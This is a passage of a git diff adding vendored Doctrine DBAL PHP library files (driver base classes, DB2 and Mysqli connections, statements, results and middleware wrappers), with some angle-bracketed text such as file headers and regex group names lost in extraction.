[SqlitePlatform::class, 'udfMod'], 'numArgs' => 2], + 'locate' => ['callback' => [SqlitePlatform::class, 'udfLocate'], 'numArgs' => -1], + ]; + + /** + * @param callable(string, callable, int): bool $callback + * @param array $additionalFunctions + */ + public static function register(callable $callback, array $additionalFunctions = []): void + { + $userDefinedFunctions = array_merge(self::DEFAULT_FUNCTIONS, $additionalFunctions); + + foreach ($userDefinedFunctions as $function => $data) { + $callback($function, $data['callback'], $data['numArgs']); + } + } + + /** + * User-defined function that implements MOD(). + * + * @param int $a + * @param int $b + */ + public static function mod($a, $b): int + { + return $a % $b; + } + + /** + * User-defined function that implements LOCATE(). + * + * @param string $str + * @param string $substr + * @param int $offset + */ + public static function locate($str, $substr, $offset = 0): int + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5749', + 'Relying on DBAL\'s emulated LOCATE() function is deprecated. ' + . 'Use INSTR() or %s::getLocateExpression() instead.', + AbstractPlatform::class, + ); + + // SQL's LOCATE function works on 1-based positions, while PHP's strpos works on 0-based positions. + // So we have to make them compatible if an offset is given. + if ($offset > 0) { + $offset -= 1; + } + + $pos = strpos($str, $substr, $offset); + + if ($pos !== false) { + return $pos + 1; + } + + return 0; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/AbstractDB2Driver.php b/vendor/doctrine/dbal/src/Driver/AbstractDB2Driver.php new file mode 100644 index 000000000..79efb8650 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/AbstractDB2Driver.php @@ -0,0 +1,100 @@ +getVersionNumber($version), '11.1', '>=')) { + return new DB2111Platform(); + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5156', + 'IBM DB2 < 11.1 support is deprecated and will be removed in DBAL 4.' + . ' Consider upgrading to IBM DB2 11.1 or later.', + ); + + return $this->getDatabasePlatform(); + } + + /** + * Detects IBM DB2 server version + * + * @param string $versionString Version string as returned by IBM DB2 server, i.e. 'DB2/LINUXX8664 11.5.8.0' + * + * @throws DBALException + */ + private function getVersionNumber(string $versionString): string + { + if ( + preg_match( + '/^(?:[^\s]+\s)?(?P\d+)\.(?P\d+)\.(?P\d+)/i', + $versionString, + $versionParts, + ) === 0 + ) { + throw DBALException::invalidPlatformVersionSpecified( + $versionString, + '^(?:[^\s]+\s)?..', + ); + } + + return $versionParts['major'] . '.' . $versionParts['minor'] . '.' . $versionParts['patch']; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/AbstractException.php b/vendor/doctrine/dbal/src/Driver/AbstractException.php new file mode 100644 index 000000000..389f82e70 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/AbstractException.php @@ -0,0 +1,44 @@ +sqlState = $sqlState; + } + + /** + * {@inheritDoc} + */ + public function getSQLState() + { + return $this->sqlState; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/AbstractMySQLDriver.php b/vendor/doctrine/dbal/src/Driver/AbstractMySQLDriver.php new file mode 100644 index 000000000..5f6ffd6f5 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/AbstractMySQLDriver.php @@ -0,0 +1,204 @@ +getMariaDbMysqlVersionNumber($version); + if (version_compare($mariaDbVersion, '10.5.2', '>=')) { + return new MariaDb1052Platform(); + } + + if (version_compare($mariaDbVersion, '10.4.3', '>=')) { + return new MariaDb1043Platform(); + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6110', + 'Support for MariaDB < 10.4 is deprecated and will be removed in DBAL 4.' + . ' Consider upgrading to a more recent version of MariaDB.', + ); + + if (version_compare($mariaDbVersion, '10.2.7', '>=')) { + return new MariaDb1027Platform(); + } + } else { + $oracleMysqlVersion = $this->getOracleMysqlVersionNumber($version); + if (version_compare($oracleMysqlVersion, '8', '>=')) { + if (! version_compare($version, '8.0.0', '>=')) { + Deprecation::trigger( + 'doctrine/orm', + 'https://github.com/doctrine/dbal/pull/5779', + 'Version detection logic for MySQL will change in DBAL 4. ' + . 'Please specify the version as the server reports it, e.g. "8.0.31" instead of "8".', + ); + } + + return new MySQL80Platform(); + } + + if (version_compare($oracleMysqlVersion, '5.7.9', '>=')) { + if (! version_compare($version, '5.7.9', '>=')) { + Deprecation::trigger( + 'doctrine/orm', + 'https://github.com/doctrine/dbal/pull/5779', + 'Version detection logic for MySQL will change in DBAL 4. ' + . 'Please specify the version as the server reports it, e.g. "5.7.40" instead of "5.7".', + ); + } + + return new MySQL57Platform(); + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5072', + 'MySQL 5.6 support is deprecated and will be removed in DBAL 4.' + . ' Consider upgrading to MySQL 5.7 or later.', + ); + } + + return $this->getDatabasePlatform(); + } + + /** + * Get a normalized 'version number' from the server string + * returned by Oracle MySQL servers. + * + * @param string $versionString Version string returned by the driver, i.e. '5.7.10' + * + * @throws Exception + */ + private function getOracleMysqlVersionNumber(string $versionString): string + { + if ( + preg_match( + '/^(?P\d+)(?:\.(?P\d+)(?:\.(?P\d+))?)?/', + $versionString, + $versionParts, + ) === 0 + ) { + throw Exception::invalidPlatformVersionSpecified( + $versionString, + '..', + ); + } + + $majorVersion = $versionParts['major']; + $minorVersion = $versionParts['minor'] ?? 0; + $patchVersion = $versionParts['patch'] ?? null; + + if ($majorVersion === '5' && $minorVersion === '7') { + $patchVersion ??= '9'; + } + + return $majorVersion . '.' . $minorVersion . '.' . $patchVersion; + } + + /** + * Detect MariaDB server version, including hack for some mariadb distributions + * that starts with the prefix '5.5.5-' + * + * @param string $versionString Version string as returned by mariadb server, i.e. '5.5.5-Mariadb-10.0.8-xenial' + * + * @throws Exception + */ + private function getMariaDbMysqlVersionNumber(string $versionString): string + { + if (stripos($versionString, 'MariaDB') === 0) { + Deprecation::trigger( + 'doctrine/orm', + 'https://github.com/doctrine/dbal/pull/5779', + 'Version detection logic for MySQL will change in DBAL 4. ' + . 'Please specify the version as the server reports it, ' + . 'e.g. "10.9.3-MariaDB" instead of "mariadb-10.9".', + ); + } + + if ( + preg_match( + '/^(?:5\.5\.5-)?(mariadb-)?(?P\d+)\.(?P\d+)\.(?P\d+)/i', + $versionString, + $versionParts, + ) === 0 + ) { + throw Exception::invalidPlatformVersionSpecified( + $versionString, + '^(?:5\.5\.5-)?(mariadb-)?..', + ); + } + + return $versionParts['major'] . '.' . $versionParts['minor'] . '.' . $versionParts['patch']; + } + + /** + * {@inheritDoc} + * + * @return AbstractMySQLPlatform + */ + public function getDatabasePlatform() + { + return new MySQLPlatform(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@link AbstractMySQLPlatform::createSchemaManager()} instead. + * + * @return MySQLSchemaManager + */ + public function getSchemaManager(Connection $conn, AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5458', + 'AbstractMySQLDriver::getSchemaManager() is deprecated.' + . ' Use MySQLPlatform::createSchemaManager() instead.', + ); + + assert($platform instanceof AbstractMySQLPlatform); + + return new MySQLSchemaManager($conn, $platform); + } + + public function getExceptionConverter(): ExceptionConverter + { + return new MySQL\ExceptionConverter(); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/AbstractOracleDriver.php b/vendor/doctrine/dbal/src/Driver/AbstractOracleDriver.php new file mode 100644 index 000000000..b0f92453a --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/AbstractOracleDriver.php @@ -0,0 +1,65 @@ + $params The connection parameters to return the Easy Connect String for. + * + * @return string + */ + protected function getEasyConnectString(array $params) + { + return (string) EasyConnectString::fromConnectionParameters($params); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/AbstractOracleDriver/EasyConnectString.php b/vendor/doctrine/dbal/src/Driver/AbstractOracleDriver/EasyConnectString.php new file mode 100644 index 000000000..91bc6a7e1 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/AbstractOracleDriver/EasyConnectString.php @@ -0,0 +1,116 @@ +string = $string; + } + + public function __toString(): string + { + return $this->string; + } + + /** + * Creates the object from an array representation + * + * @param mixed[] $params + */ + public static function fromArray(array $params): self + { + return new self(self::renderParams($params)); + } + + /** + * Creates the object from the given DBAL connection parameters. + * + * @param mixed[] $params + */ + public static function fromConnectionParameters(array $params): self + { + if (isset($params['connectstring'])) { + return new self($params['connectstring']); + } + + if (! isset($params['host'])) { + return new self($params['dbname'] ?? ''); + } + + $connectData = []; + + if (isset($params['servicename']) || isset($params['dbname'])) { + $serviceKey = 'SID'; + + if (isset($params['service'])) { + $serviceKey = 'SERVICE_NAME'; + } + + $serviceName = $params['servicename'] ?? $params['dbname']; + + $connectData[$serviceKey] = $serviceName; + } + + if (isset($params['instancename'])) { + $connectData['INSTANCE_NAME'] = $params['instancename']; + } + + if (! empty($params['pooled'])) { + $connectData['SERVER'] = 'POOLED'; + } + + return self::fromArray([ + 'DESCRIPTION' => [ + 'ADDRESS' => [ + 'PROTOCOL' => 'TCP', + 'HOST' => $params['host'], + 'PORT' => $params['port'] ?? 1521, + ], + 'CONNECT_DATA' => $connectData, + ], + ]); + } + + /** @param mixed[] $params */ + private static function renderParams(array $params): string + { + $chunks = []; + + foreach ($params as $key => $value) { + $string = self::renderValue($value); + + if ($string === '') { + continue; + } + + $chunks[] = sprintf('(%s=%s)', $key, $string); + } + + return implode('', $chunks); + } + + /** @param mixed $value */ + private static function renderValue($value): string + { + if (is_array($value)) { + return self::renderParams($value); + } + + return (string) $value; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/AbstractPostgreSQLDriver.php b/vendor/doctrine/dbal/src/Driver/AbstractPostgreSQLDriver.php new file mode 100644 index 000000000..099630d33 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/AbstractPostgreSQLDriver.php @@ -0,0 +1,88 @@ +\d+)(?:\.(?P\d+)(?:\.(?P\d+))?)?/', $version, $versionParts) === 0) { + throw Exception::invalidPlatformVersionSpecified( + $version, + '..', + ); + } + + $majorVersion = $versionParts['major']; + $minorVersion = $versionParts['minor'] ?? 0; + $patchVersion = $versionParts['patch'] ?? 0; + $version = $majorVersion . '.' . $minorVersion . '.' . $patchVersion; + + if (version_compare($version, '10.0', '>=')) { + return new PostgreSQL100Platform(); + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5060', + 'PostgreSQL 9 support is deprecated and will be removed in DBAL 4.' + . ' Consider upgrading to Postgres 10 or later.', + ); + + return new PostgreSQL94Platform(); + } + + /** + * {@inheritDoc} + */ + public function getDatabasePlatform() + { + return new PostgreSQL94Platform(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@link PostgreSQLPlatform::createSchemaManager()} instead. + */ + public function getSchemaManager(Connection $conn, AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5458', + 'AbstractPostgreSQLDriver::getSchemaManager() is deprecated.' + . ' Use PostgreSQLPlatform::createSchemaManager() instead.', + ); + + assert($platform instanceof PostgreSQLPlatform); + + return new PostgreSQLSchemaManager($conn, $platform); + } + + public function getExceptionConverter(): ExceptionConverter + { + return new PostgreSQL\ExceptionConverter(); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/AbstractSQLServerDriver.php b/vendor/doctrine/dbal/src/Driver/AbstractSQLServerDriver.php new file mode 100644 index 000000000..b9a99552e --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/AbstractSQLServerDriver.php @@ -0,0 +1,53 @@ +exec('PRAGMA foreign_keys=ON'); + + return $connection; + } + }; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Connection.php b/vendor/doctrine/dbal/src/Driver/Connection.php new file mode 100644 index 000000000..2f460fd10 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Connection.php @@ -0,0 +1,86 @@ +fetchNumeric(); + + if ($row === false) { + return false; + } + + return $row[0]; + } + + /** + * @return list> + * + * @throws Exception + */ + public static function fetchAllNumeric(Result $result): array + { + $rows = []; + + while (($row = $result->fetchNumeric()) !== false) { + $rows[] = $row; + } + + return $rows; + } + + /** + * @return list> + * + * @throws Exception + */ + public static function fetchAllAssociative(Result $result): array + { + $rows = []; + + while (($row = $result->fetchAssociative()) !== false) { + $rows[] = $row; + } + + return $rows; + } + + /** + * @return list + * + * @throws Exception + */ + public static function fetchFirstColumn(Result $result): array + { + $rows = []; + + while (($row = $result->fetchOne()) !== false) { + $rows[] = $row; + } + + return $rows; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/IBMDB2/Connection.php b/vendor/doctrine/dbal/src/Driver/IBMDB2/Connection.php new file mode 100644 index 000000000..dfb11c236 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/IBMDB2/Connection.php @@ -0,0 +1,141 @@ +connection = $connection; + } + + /** + * {@inheritDoc} + */ + public function getServerVersion() + { + $serverInfo = db2_server_info($this->connection); + assert($serverInfo instanceof stdClass); + + return $serverInfo->DBMS_VER; + } + + public function prepare(string $sql): DriverStatement + { + $stmt = @db2_prepare($this->connection, $sql); + + if ($stmt === false) { + throw PrepareFailed::new(error_get_last()); + } + + return new Statement($stmt); + } + + public function query(string $sql): ResultInterface + { + return $this->prepare($sql)->execute(); + } + + /** + * {@inheritDoc} + */ + public function quote($value, $type = ParameterType::STRING) + { + $value = db2_escape_string($value); + + if ($type === ParameterType::INTEGER) { + return $value; + } + + return "'" . $value . "'"; + } + + public function exec(string $sql): int + { + $stmt = @db2_exec($this->connection, $sql); + + if ($stmt === false) { + throw StatementError::new(); + } + + return db2_num_rows($stmt); + } + + /** + * {@inheritDoc} + */ + public function lastInsertId($name = null) + { + if ($name !== null) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + } + + return db2_last_insert_id($this->connection) ?? false; + } + + public function beginTransaction(): bool + { + return db2_autocommit($this->connection, DB2_AUTOCOMMIT_OFF); + } + + public function commit(): bool + { + if (! db2_commit($this->connection)) { + throw ConnectionError::new($this->connection); + } + + return db2_autocommit($this->connection, DB2_AUTOCOMMIT_ON); + } + + public function rollBack(): bool + { + if (! db2_rollback($this->connection)) { + throw ConnectionError::new($this->connection); + } + + return db2_autocommit($this->connection, DB2_AUTOCOMMIT_ON); + } + + /** @return resource */ + public function getNativeConnection() + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/IBMDB2/DataSourceName.php b/vendor/doctrine/dbal/src/Driver/IBMDB2/DataSourceName.php new file mode 100644 index 000000000..124a6f6db --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/IBMDB2/DataSourceName.php @@ -0,0 +1,84 @@ +string = $string; + } + + public function toString(): string + { + return $this->string; + } + + /** + * Creates the object from an array representation + * + * @param array $params + */ + public static function fromArray( + #[SensitiveParameter] + array $params + ): self { + $chunks = []; + + foreach ($params as $key => $value) { + $chunks[] = sprintf('%s=%s', $key, $value); + } + + return new self(implode(';', $chunks)); + } + + /** + * Creates the object from the given DBAL connection parameters. + * + * @param array $params + */ + public static function fromConnectionParameters( + #[SensitiveParameter] + array $params + ): self { + if (isset($params['dbname']) && strpos($params['dbname'], '=') !== false) { + return new self($params['dbname']); + } + + $dsnParams = []; + + foreach ( + [ + 'host' => 'HOSTNAME', + 'port' => 'PORT', + 'protocol' => 'PROTOCOL', + 'dbname' => 'DATABASE', + 'user' => 'UID', + 'password' => 'PWD', + ] as $dbalParam => $dsnParam + ) { + if (! isset($params[$dbalParam])) { + continue; + } + + $dsnParams[$dsnParam] = $params[$dbalParam]; + } + + return self::fromArray($dsnParams); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/IBMDB2/Driver.php b/vendor/doctrine/dbal/src/Driver/IBMDB2/Driver.php new file mode 100644 index 000000000..7650db5f4 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/IBMDB2/Driver.php @@ -0,0 +1,41 @@ +toString(); + + $username = $params['user'] ?? ''; + $password = $params['password'] ?? ''; + $driverOptions = $params['driverOptions'] ?? []; + + if (! empty($params['persistent'])) { + $connection = db2_pconnect($dataSourceName, $username, $password, $driverOptions); + } else { + $connection = db2_connect($dataSourceName, $username, $password, $driverOptions); + } + + if ($connection === false) { + throw ConnectionFailed::new(); + } + + return new Connection($connection); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/IBMDB2/Exception/CannotCopyStreamToStream.php b/vendor/doctrine/dbal/src/Driver/IBMDB2/Exception/CannotCopyStreamToStream.php new file mode 100644 index 000000000..231c9d473 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/IBMDB2/Exception/CannotCopyStreamToStream.php @@ -0,0 +1,27 @@ +statement = $statement; + } + + /** + * {@inheritDoc} + */ + public function fetchNumeric() + { + $row = @db2_fetch_array($this->statement); + + if ($row === false && db2_stmt_error($this->statement) !== '02000') { + throw StatementError::new($this->statement); + } + + return $row; + } + + /** + * {@inheritDoc} + */ + public function fetchAssociative() + { + $row = @db2_fetch_assoc($this->statement); + + if ($row === false && db2_stmt_error($this->statement) !== '02000') { + throw StatementError::new($this->statement); + } + + return $row; + } + + /** + * {@inheritDoc} + */ + public function fetchOne() + { + return FetchUtils::fetchOne($this); + } + + /** + * {@inheritDoc} + */ + public function fetchAllNumeric(): array + { + return FetchUtils::fetchAllNumeric($this); + } + + /** + * {@inheritDoc} + */ + public function fetchAllAssociative(): array + { + return FetchUtils::fetchAllAssociative($this); + } + + /** + * {@inheritDoc} + */ + public function fetchFirstColumn(): array + { + return FetchUtils::fetchFirstColumn($this); + } + + public function rowCount(): int + { + return @db2_num_rows($this->statement); + } + + public function columnCount(): int + { + $count = db2_num_fields($this->statement); + + if ($count !== false) { + return $count; + } + + return 0; + } + + public function free(): void + { + db2_free_result($this->statement); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/IBMDB2/Statement.php b/vendor/doctrine/dbal/src/Driver/IBMDB2/Statement.php new file mode 100644 index 000000000..699e236d7 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/IBMDB2/Statement.php @@ -0,0 +1,220 @@ + + */ + private array $lobs = []; + + /** + * @internal The statement can be only instantiated by its driver connection. + * + * @param resource $stmt + */ + public function __construct($stmt) + { + $this->stmt = $stmt; + } + + /** + * {@inheritDoc} + */ + public function bindValue($param, $value, $type = ParameterType::STRING): bool + { + assert(is_int($param)); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + return $this->bindParam($param, $value, $type); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see bindValue()} instead. + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null): bool + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + assert(is_int($param)); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + switch ($type) { + case ParameterType::INTEGER: + $this->bind($param, $variable, DB2_PARAM_IN, DB2_LONG); + break; + + case ParameterType::LARGE_OBJECT: + $this->lobs[$param] = &$variable; + break; + + default: + $this->bind($param, $variable, DB2_PARAM_IN, DB2_CHAR); + break; + } + + return true; + } + + /** + * @param int $position Parameter position + * @param mixed $variable + * + * @throws Exception + */ + private function bind($position, &$variable, int $parameterType, int $dataType): void + { + $this->parameters[$position] =& $variable; + + if (! db2_bind_param($this->stmt, $position, '', $parameterType, $dataType)) { + throw StatementError::new($this->stmt); + } + } + + /** + * {@inheritDoc} + */ + public function execute($params = null): ResultInterface + { + if ($params !== null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::execute() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + } + + $handles = $this->bindLobs(); + + $result = @db2_execute($this->stmt, $params ?? $this->parameters); + + foreach ($handles as $handle) { + fclose($handle); + } + + $this->lobs = []; + + if ($result === false) { + throw StatementError::new($this->stmt); + } + + return new Result($this->stmt); + } + + /** + * @return list + * + * @throws Exception + */ + private function bindLobs(): array + { + $handles = []; + + foreach ($this->lobs as $param => $value) { + if (is_resource($value)) { + $handle = $handles[] = $this->createTemporaryFile(); + $path = stream_get_meta_data($handle)['uri']; + + $this->copyStreamToStream($value, $handle); + + $this->bind($param, $path, DB2_PARAM_FILE, DB2_BINARY); + } else { + $this->bind($param, $value, DB2_PARAM_IN, DB2_CHAR); + } + + unset($value); + } + + return $handles; + } + + /** + * @return resource + * + * @throws Exception + */ + private function createTemporaryFile() + { + $handle = @tmpfile(); + + if ($handle === false) { + throw CannotCreateTemporaryFile::new(error_get_last()); + } + + return $handle; + } + + /** + * @param resource $source + * @param resource $target + * + * @throws Exception + */ + private function copyStreamToStream($source, $target): void + { + if (@stream_copy_to_stream($source, $target) === false) { + throw CannotCopyStreamToStream::new(error_get_last()); + } + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Middleware.php b/vendor/doctrine/dbal/src/Driver/Middleware.php new file mode 100644 index 000000000..4629d9a85 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Middleware.php @@ -0,0 +1,12 @@ +wrappedConnection = $wrappedConnection; + } + + public function prepare(string $sql): Statement + { + return $this->wrappedConnection->prepare($sql); + } + + public function query(string $sql): Result + { + return $this->wrappedConnection->query($sql); + } + + /** + * {@inheritDoc} + */ + public function quote($value, $type = ParameterType::STRING) + { + return $this->wrappedConnection->quote($value, $type); + } + + public function exec(string $sql): int + { + return $this->wrappedConnection->exec($sql); + } + + /** + * {@inheritDoc} + */ + public function lastInsertId($name = null) + { + if ($name !== null) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + } + + return $this->wrappedConnection->lastInsertId($name); + } + + /** + * {@inheritDoc} + */ + public function beginTransaction() + { + return $this->wrappedConnection->beginTransaction(); + } + + /** + * {@inheritDoc} + */ + public function commit() + { + return $this->wrappedConnection->commit(); + } + + /** + * {@inheritDoc} + */ + public function rollBack() + { + return $this->wrappedConnection->rollBack(); + } + + /** + * {@inheritDoc} + */ + public function getServerVersion() + { + if (! $this->wrappedConnection instanceof ServerInfoAwareConnection) { + throw new LogicException('The underlying connection is not a ServerInfoAwareConnection'); + } + + return $this->wrappedConnection->getServerVersion(); + } + + /** @return resource|object */ + public function getNativeConnection() + { + if (! method_exists($this->wrappedConnection, 'getNativeConnection')) { + throw new LogicException(sprintf( + 'The driver connection %s does not support accessing the native connection.', + get_class($this->wrappedConnection), + )); + } + + return $this->wrappedConnection->getNativeConnection(); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Middleware/AbstractDriverMiddleware.php b/vendor/doctrine/dbal/src/Driver/Middleware/AbstractDriverMiddleware.php new file mode 100644 index 000000000..1c9d43097 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Middleware/AbstractDriverMiddleware.php @@ -0,0 +1,73 @@ +wrappedDriver = $wrappedDriver; + } + + /** + * {@inheritDoc} + */ + public function connect( + #[SensitiveParameter] + array $params + ) { + return $this->wrappedDriver->connect($params); + } + + /** + * {@inheritDoc} + */ + public function getDatabasePlatform() + { + return $this->wrappedDriver->getDatabasePlatform(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@link AbstractPlatform::createSchemaManager()} instead. + */ + public function getSchemaManager(Connection $conn, AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5458', + 'AbstractDriverMiddleware::getSchemaManager() is deprecated.' + . ' Use AbstractPlatform::createSchemaManager() instead.', + ); + + return $this->wrappedDriver->getSchemaManager($conn, $platform); + } + + public function getExceptionConverter(): ExceptionConverter + { + return $this->wrappedDriver->getExceptionConverter(); + } + + /** + * {@inheritDoc} + */ + public function createDatabasePlatformForVersion($version) + { + if ($this->wrappedDriver instanceof VersionAwarePlatformDriver) { + return $this->wrappedDriver->createDatabasePlatformForVersion($version); + } + + return $this->wrappedDriver->getDatabasePlatform(); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Middleware/AbstractResultMiddleware.php b/vendor/doctrine/dbal/src/Driver/Middleware/AbstractResultMiddleware.php new file mode 100644 index 000000000..198d39b0d --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Middleware/AbstractResultMiddleware.php @@ -0,0 +1,78 @@ +wrappedResult = $result; + } + + /** + * {@inheritDoc} + */ + public function fetchNumeric() + { + return $this->wrappedResult->fetchNumeric(); + } + + /** + * {@inheritDoc} + */ + public function fetchAssociative() + { + return $this->wrappedResult->fetchAssociative(); + } + + /** + * {@inheritDoc} + */ + public function fetchOne() + { + return $this->wrappedResult->fetchOne(); + } + + /** + * {@inheritDoc} + */ + public function fetchAllNumeric(): array + { + return $this->wrappedResult->fetchAllNumeric(); + } + + /** + * {@inheritDoc} + */ + public function fetchAllAssociative(): array + { + return $this->wrappedResult->fetchAllAssociative(); + } + + /** + * {@inheritDoc} + */ + public function fetchFirstColumn(): array + { + return $this->wrappedResult->fetchFirstColumn(); + } + + public function rowCount(): int + { + return $this->wrappedResult->rowCount(); + } + + public function columnCount(): int + { + return $this->wrappedResult->columnCount(); + } + + public function free(): void + { + $this->wrappedResult->free(); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Middleware/AbstractStatementMiddleware.php b/vendor/doctrine/dbal/src/Driver/Middleware/AbstractStatementMiddleware.php new file mode 100644 index 000000000..6cd2f8f08 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Middleware/AbstractStatementMiddleware.php @@ -0,0 +1,71 @@ +wrappedStatement = $wrappedStatement; + } + + /** + * {@inheritDoc} + */ + public function bindValue($param, $value, $type = ParameterType::STRING) + { + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + return $this->wrappedStatement->bindValue($param, $value, $type); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see bindValue()} instead. + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + return $this->wrappedStatement->bindParam($param, $variable, $type, $length); + } + + /** + * {@inheritDoc} + */ + public function execute($params = null): Result + { + return $this->wrappedStatement->execute($params); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Connection.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Connection.php new file mode 100644 index 000000000..d492684cc --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Connection.php @@ -0,0 +1,141 @@ +connection = $connection; + } + + /** + * Retrieves mysqli native resource handle. + * + * Could be used if part of your application is not using DBAL. + * + * @deprecated Call {@see getNativeConnection()} instead. + */ + public function getWrappedResourceHandle(): mysqli + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5037', + '%s is deprecated, call getNativeConnection() instead.', + __METHOD__, + ); + + return $this->getNativeConnection(); + } + + public function getServerVersion(): string + { + return $this->connection->get_server_info(); + } + + public function prepare(string $sql): DriverStatement + { + try { + $stmt = $this->connection->prepare($sql); + } catch (mysqli_sql_exception $e) { + throw ConnectionError::upcast($e); + } + + if ($stmt === false) { + throw ConnectionError::new($this->connection); + } + + return new Statement($stmt); + } + + public function query(string $sql): ResultInterface + { + return $this->prepare($sql)->execute(); + } + + /** + * {@inheritDoc} + */ + public function quote($value, $type = ParameterType::STRING) + { + return "'" . $this->connection->escape_string($value) . "'"; + } + + public function exec(string $sql): int + { + try { + $result = $this->connection->query($sql); + } catch (mysqli_sql_exception $e) { + throw ConnectionError::upcast($e); + } + + if ($result === false) { + throw ConnectionError::new($this->connection); + } + + return $this->connection->affected_rows; + } + + /** + * {@inheritDoc} + */ + public function lastInsertId($name = null) + { + if ($name !== null) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + } + + return $this->connection->insert_id; + } + + public function beginTransaction(): bool + { + $this->connection->begin_transaction(); + + return true; + } + + public function commit(): bool + { + try { + return $this->connection->commit(); + } catch (mysqli_sql_exception $e) { + return false; + } + } + + public function rollBack(): bool + { + try { + return $this->connection->rollback(); + } catch (mysqli_sql_exception $e) { + return false; + } + } + + public function getNativeConnection(): mysqli + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Driver.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Driver.php new file mode 100644 index 000000000..4f5186875 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Driver.php @@ -0,0 +1,117 @@ +compilePreInitializers($params) as $initializer) { + $initializer->initialize($connection); + } + + try { + $success = @$connection->real_connect( + $host, + $params['user'] ?? null, + $params['password'] ?? null, + $params['dbname'] ?? null, + $params['port'] ?? null, + 